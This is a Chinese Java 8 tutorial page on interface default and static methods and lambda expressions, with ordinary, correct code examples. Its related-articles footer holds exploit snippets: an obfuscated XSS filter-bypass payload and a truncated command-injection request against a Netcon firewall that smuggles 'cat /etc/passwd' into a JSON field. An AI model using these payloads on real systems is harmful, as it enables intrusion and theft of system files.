JDK1.8 新特性(一)【默认方法、静态方法和Lambda表达式】

前言 

        今天学习Java8 新特性,主要是之前在学习 Scala、JavaFX 中遇到一些 Lambda 表达式,感觉 lambda 表达式确实很简洁,很有必要学一学。

目录

前言

1、接口的默认方法与静态方法

编写接口

编写接口的实现类

测试

2、Lambda表达式(重点)

2.1、Lambda 表达式规范

2.1.1、函数接口的定义

2.1.2、Java 内置的函数接口 

2.2、Lambda 基础语法

2.2.1、无参方法调用

(1)编写函数接口

(2)使用 lambda 

2.2.2、有参方法调用

(1)编写函数接口

(2)使用 lambda 

2.3、Lambda 的精简写法

2.3.1、无参方法

2.3.2、有参方法

练习

2.4、Lambda 实战

forEach

集合排序


1、接口的默认方法与静态方法

什么是普通方法?

我们可以把 Java 中的方法看成两类:普通方法(有方法体的)和抽象方法(没有方法体的,需要子类去实现的,比如接口、抽象类)。

JDK8 之前,Java 中接口 Interface 之中可以定义变量和方法:

  • 变量 必须是 public、static、final 的
  • 方法 必须是 public、abstract 的

而且这些修饰符都是默认的,也就是不需要我们写。

从JDK8 开始 支持使用 static 和 default 来修饰方法可以写方法体不需要子类重写被 static 和 default修饰的方法

接口中定义的默认方法只有子类对象才能调用,而接口中定义的静态方法只有接口类才能调用。

编写接口

public interface JDK8Interface {
    /*
     * 默认就是 public abstract 的,不需要加修饰符
    */
    void add();
    /*
     * JDK8 提供 默认的方法
     */
    default void get(){
        System.out.println("get");
    }

    /*
     * JDK8 提供的静态方法 只能通过 接口名.方法名来 调用
     */
    static void del(){
        System.out.println("del");
    }
}

编写接口的实现类

public class JDK8InterfaceImpl implements JDK8Interface {

    @Override
    public void add() {
        System.out.println("add");
    }
    
}

测试

public class Test01 {
    public static void main(String[] args) {
        JDK8InterfaceImpl jdk8Interface = new JDK8InterfaceImpl();
        jdk8Interface.add();
        jdk8Interface.get();
        JDK8Interface.del();    
    }
}

我们可以得到这样一个结论:接口中定义的默认方法只有子类对象才能调用,而接口中定义的静态方法只有接口类才能调用。

2、Lambda表达式(重点)

什么是 Lambda 表达式?

Lanmbda 表达式是一个匿名函数,即没有函数名的函数,基于数学中的 λ 而得名。

优点:简化匿名内部类的调用,减少代码量。

缺点:不好调试

编写接口:

public interface OrderService {
    void get();
}

 测试:

public class Test02 {
    public static void main(String[] args) {

        // 1. 通过匿名内部类创建一个实现OrderService接口的子类
        OrderService service = new OrderService() {
            @Override
            public void get() {
                System.out.println("get");
            }
        };
        service.get();

        // 2. lambda 表达式  括号代表参数列表
        ((OrderService) ()-> System.out.println("get")).get();

        // 3. 同样是lambda表达式
        new Thread(()-> System.out.println("get")).start();

    }
}

注意:这里的接口只能有一个抽象方法!

2.1、Lambda 表达式规范

2.1.1、函数接口的定义

Java 中使用 Lambda 表达式依赖于函数接口。我们在 new 一个对象或者使用一个方法,需要传入的参数是接口类型时,可以使用该 接口的实现类,也可以直接构造一个匿名内部类(这里我们就可以通过 lambda 表达式来简化代码,提高开发效率,主要是看起来是真的舒服)。

  • 在接口当中只允许存在一个抽象方法。
  • 允许使用 default 和 static 修饰的方法。
  • 使用注解 @FunctionalInterface 来标记该接口为函数接口(接口中只包含一个方法的叫做函数接口),我们可以发现,如果接口中出现了超过1个的抽象方法代码就会爆红。
  • 可以定义 Object 类中的方法

下面是我自定义的一个函数接口。

/**
 * 函数接口 只允许包含一个抽象方法
 * 4. 使用注解 @FunctionalInterface 来标注着是一个函数接口
 */
@FunctionalInterface
public interface MyFunctionInterface {
    // 1. 只允许存在一个方法
    void get();

    // 2. 允许存在 default 和 static 修饰的方法
    default void add(){
        System.out.println("add");
    }
    static void ss(){
        System.out.println("ss");
    }

    // 3. 可以存在 Object 类中的方法
    String toString();
    boolean equals(Object obj);
    int hashCode();
}

2.1.2、Java 内置的函数接口 

new Thread(new Runnable() {
            @Override
            public void run() {
               // 方法体 
            }
        }).start();

正因为i Runnable 是一个函数接口,所以我们可以这样简写:

new Thread(()->{
          // 方法体  
        }).start();

2.2、Lambda 基础语法

语法:

() -> {}
  • ():参数列表 
  • ->:分隔符
  • {}:方法体

2.2.1、无参方法调用

(1)编写函数接口

@FunctionalInterface
public interface ParamLambdaInterface {
    void get();
}
(2)使用 lambda 
public class Test03 {
    public static void main(String[] args) {
        // 1. 匿名内部类
        new ParamLambdaInterface(){
            @Override
            public void get() {
                System.out.println("get");
            }
        };
        // 2. lambda 表达式
        ParamLambdaInterface pl = () -> {
            System.out.println("get");
        };
        pl.get();

    }
}

 

2.2.2、有参方法调用

(1)编写函数接口
@FunctionalInterface
public interface OrderService {
    void get(String name);
}
(2)使用 lambda 
public class Test04 {
    public static void main(String[] args) {

        // 1. 通过匿名内部类创建一个实现OrderService接口的子类
        OrderService service = new OrderService() {
            @Override
            public void get(String name) {
                System.out.println(name);
            }
        };
        service.get("tom");

        // 2. lambda 表达式 参数类型可以省略
        OrderService od = (name)->{
            System.out.println(name);
        };
        od.get("get");
    
        // 简化
        ((OrderService) System.out::println).get("tom");
    }
}

2.3、Lambda 的精简写法

2.3.1、无参方法

上面 2.2.1 也可以这么写:

// 一行代码的情况下 可以省去花括号
((ParamLambdaInterface) () -> System.out.println("get")).get();

2.3.2、有参方法

2.2.2 可以这么写:

如果参数只有一个可以省去括号

((OrderService) name -> System.out.println(name)).get("get");

练习

定义一个用于计算和的函数接口

@FunctionalInterface
public interface AddInterface {
    int add(int a,int b);
}

测试,求 1 和 2 的和

int result = ((AddInterface) (a, b) -> a + b).add(1, 2);

2.4、Lambda 实战

forEach

定义一个存放姓名的 List :

List<String> list = new ArrayList<>();
        list.add("mike");
        list.add("tom");
        list.add("bob");

使用 List 的 forEach 方法打印所有元素: 

可以看到 forEach 的参数也是一个函数接口,而且只有一个抽象方法 accept。 

    // 1. 普通写法
    list.forEach(new Consumer<String>() {
            @Override
            public void accept(String s) {
                System.out.println(s);
            }
        });    
    
    // 2. lambda
    list.forEach(name-> System.out.println(name) );

    // 简化
    list.forEach(System.out::println);

将输出结果全部大写输出:

// 将名字转为大写再输出
        list.forEach(name-> System.out.println(name.toUpperCase(Locale.ROOT)));

集合排序

数据准备

public class User {
    private String name;
    private Integer age;

    public User(){}

    public User(String name, Integer age) {
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }
}

创建一个 User 集合

List<User> list = new ArrayList<>();
        list.add(new User("mike",20));
        list.add(new User("bob",18));
        list.add(new User("tom",25));

使用 lambda 进行排序:

    // 1. 普通写法
    list.sort(new Comparator<User>() {
            @Override
            public int compare(User o1, User o2) {
                return 0;
            }
        });
    // 2. lambda 表达式
    list.sort((user1,user2)-> user1.getAge()-user2.getAge());   // 升序排列
    
    // 输出结果
    list.forEach(System.out::println);

运行结果:

User{name='bob', age=18}
User{name='mike', age=20}
User{name='tom', age=25}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/136328.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

xsschallenge通关攻略详解

xsschallenge通过攻略 文章目录 xsschallenge通过攻略第一关第二关第三关第四关第五关第六关第七关第八关第九关第十关第十一关第十二关第十三关 简述 xsschallenge挑战攻略 ps: 终极测试代码 <sCr<ScRiPt>IPT>OonN"\/(hrHRefEF)</sCr</ScRiPt>IPT&g…

【Go入门】面向对象

【Go入门】面向对象 前面两章我们介绍了函数和struct&#xff0c;那你是否想过函数当作struct的字段一样来处理呢&#xff1f;今天我们就讲解一下函数的另一种形态&#xff0c;带有接收者的函数&#xff0c;我们称为method method 现在假设有这么一个场景&#xff0c;你定义…

2.4 - 网络协议 - TCP协议工作原理,报文格式,抓包实战,UDP报文,UDP检错原理

「作者主页」&#xff1a;士别三日wyx 「作者简介」&#xff1a;CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」&#xff1a;对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》 TCP协议 1、TCP协议工作原理2、TCP协议报文格式3、…

Accelerate 0.24.0文档 一:极速入门

文章目录 一、概述1.1 PyTorch DDP1.2 Accelerate 分布式训练简介1.2.1 实例化Accelerator类1.2.2 将所有训练相关 PyTorch 对象传递给 prepare()方法1.2.3 启用 accelerator.backward(loss) 1.3 Accelerate 分布式评估1.4 accelerate launch 二、Accelerate 进阶2.1 notebook_…

Home Assistant使用ios主题更换背景

Home Assistant使用ios主题、更换背景 lovelace-ios-dark-mode-theme 默认前置情况&#xff0c;1、已安转HACS插件2、搜索安装 IOS Dark Mode Theme1&#xff09;第一、二步应该很容易实现&#xff0c;configuration.yaml文件很容易被找到2&#xff09;而本人在进行第三步操作时…

时间序列预测实战(十四)Transformer模型实现长期预测并可视化结果(附代码+数据集+原理介绍)

论文地址->Transformer官方论文地址 官方代码地址->暂时还没有找到有官方的Transformer用于时间序列预测的代码地址 个人修改地址-> Transformer模型下载地址CSDN免费 一、本文介绍 这篇文章给大家带来是Transformer在时间序列预测上的应用&#xff0c;这种模型最…

【数据结构】拓扑序列求法

概念不多说了&#xff0c;有疑问的搜一下&#xff0c;这里直接放求法&#xff1a; 找到入度为0的节点输出并删除该节点&#xff0c;并删除与该点链接的边重复第一步 例子 输出a&#xff0c;删除a输出b&#xff0c;删除b输出c&#xff0c;删除c 最终结果为abcdef 注意 拓扑排…

【python海洋专题四十五】海洋研究区域示意图

【python海洋专题四十五】海洋研究区域示意图 【python海洋专题四十五】海洋研究区域示意图 结果展示&#xff1a; 图片 往期推荐 图片 【python海洋专题一】查看数据nc文件的属性并输出属性到txt文件 【python海洋专题二】读取水深nc文件并水深地形图 【python海洋专…

【蓝桥杯选拔赛真题66】Scratch画图机器人 少儿编程scratch图形化编程 蓝桥杯创意编程选拔赛真题解析

目录 scratch画图机器人 一、题目要求 编程实现 二、案例分析 1、角色分析

OpenGL_Learn09(摄像机)

1. 摄像机环绕观察 texture两个文件以及shader就是之前的版本 #include <glad/glad.h> #include <GLFW/glfw3.h>#include <iostream> #include "stb_image.h" #include <cmath> #include "shader.h"#include <glm/glm.hpp>…

【见缝插针】射击类游戏-微信小程序项目开发流程详解

还记得小时候玩过的见缝插针游戏吗&#xff0c;比一比看谁插得针比较多&#xff0c;可有趣了&#xff0c;当然了&#xff0c;通过它可以训练自己的手速反应&#xff0c;以及射击水平&#xff0c;把握时机&#xff0c;得分越高就越有成就感&#xff0c;相信小朋友们会喜欢它的&a…

高效简洁的文档翻译网站

一款简单而强大的文档翻译网站 一款文字/文件翻译的网站,支持多个领域的翻译&#xff0c;支持常见的语言翻译(韩/日/法/英/俄/德…),最大百分比的保持原文排版(及个别除外基本100%还原)。 新用户注册就有100页的免费额度&#xff0c;每月系统还会随机赠送翻译额度&#xff0c;…

C#多线程入门概念及技巧

C#多线程入门概念及技巧 一、什么是线程1.1线程的概念1.2为什么要多线程1.3线程池1.4线程安全1.4.1同步机制1.4.2原子操作 1.5线程安全示例1.5.1示例一1.5.2示例二 1.6C#一些自带的方法实现并行1.6.1 Parallel——For、ForEach、Invoke1.6.1 PLINQ——AsParallel、AsSequential…

关于DataLoader是否shuffle在VOC2007语义分割数据集上引发的问题

问题描述&#xff1a; 在训练过程中&#xff0c;训练集和验证集实时得到的F1分数相差很大&#xff0c;如下图&#xff1a; 这个问题之前从未遇到过&#xff0c;后来经过不断的排查&#xff0c;发现是因为验证集的数据加载器中shuffle设置的为False&#xff0c;而训练集设置的为…

python工具网康下一代防火墙RCE

python漏洞利用​ 构造payload POST /directdata/direct/router HTTP/1.1{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/htm…

450. 删除二叉搜索树中的节点

题目描述 给定一个二叉搜索树的根节点 root 和一个值 key&#xff0c;删除二叉搜索树中的 key 对应的节点&#xff0c;并保证二叉搜索树的性质不变。返回二叉搜索树&#xff08;有可能被更新&#xff09;的根节点的引用。 一般来说&#xff0c;删除节点可分为两个步骤&#x…

antlr4踩坑记录

一. syntax error: ‘<’ came as a complete surprise to me while matching alternative 参考这个issue&#xff0c;antlr版本必须得是4.6 下载链接&#xff1a;http://www.antlr.org/download/antlr-4.6-complete.jar 二.org.antlr.v4.analysis.LeftRecursiveRuleTrans…

Ubuntu诞生已经19年了

导读2004 年 10 月 20 日&#xff0c;Ubuntu 4.10 正式发布&#xff0c;代号‘Warty Warthog’。 2004 年 10 月 20 日&#xff0c;Ubuntu 4.10 正式发布&#xff0c;代号‘Warty Warthog’。 ▲ Ubuntu 4.10 与最新版 Ubuntu 23.10 的对比 作为 Ubuntu 第一个版本&#xff0…

什么是微服务自动化测试?

什么是微服务&#xff1f; 微服务 - 也称为微服务架构 - 是一种构建方式&#xff0c;它将应用程序构建为松散耦合服务的集合&#xff0c;具有完整的业务功能。微服务架构允许连续交付/部署大型复杂应用程序。本文将概述自动微服务测试工具和最佳实践。 它还使组织能够发展其技…

Leetcode—剑指OfferII LCR 019.验证回文串II【简单】

2023每日刷题&#xff08;二十七&#xff09; Leetcode—剑指OfferII LCR 019.验证回文串II 实现代码 class Solution { public:bool judgeFunc(string s, int left, int right) {while(left < right) {if(s[left] ! s[right]) {return false;}left;right--;}return true;…